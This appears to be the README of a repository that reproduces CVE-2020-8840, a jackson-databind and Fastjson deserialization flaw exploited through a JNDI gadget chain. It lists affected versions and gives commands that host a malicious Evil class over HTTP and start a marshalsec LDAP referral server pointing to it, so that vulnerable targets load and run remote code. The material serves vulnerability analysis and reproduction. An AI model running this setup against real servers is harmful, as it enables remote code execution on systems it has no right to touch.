
Jackson-databind远程代码执行漏洞(CVE-2020-8840)分析复现环境代码
Jackson-databind remote code execution vulnerability (CVE-2020-8840) analysis and reproduction environment code.
The project includes:
jackson-databind, Fastjson payloadsmarshalsec-0.0.3-SNAPSHOT-all.jarJackson-databind remote code execution vulnerability (CVE-2020-8840). Attackers can exploit the xbean-reflect gadget chain (org.apache.xbean.propertyeditor.JndiConverter) to trigger JNDI remote class loading and achieve remote code execution.
This vulnerability affects certain versions of jackson-databind and Fastjson.
Affected versions: 2.0.0 <= FasterXML jackson-databind <= 2.9.10.2

The LDAP service referenced in the example code needs to be set up by yourself.
WebServer
Start HTTP service to host the malicious class (the project includes the Evil.java class)
python -m http.server 2222

LDAP Service
Download the Marshalsec tool, compile it into a jar, start the LDAP service, and set the codebase address (the WebServer hosting the malicious class).
For convenience, to skip the download and compilation steps, the project also includes marshalsec-0.0.3-SNAPSHOT-all.jar (the project code is not large, the large size is mainly due to this jar), compiled with JDK8.
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:2222/#Evil

Affected versions: Fastjson <= 1.2.62
The reproduction environment is the same as above; set up and start the WebServer and LDAP service yourself.
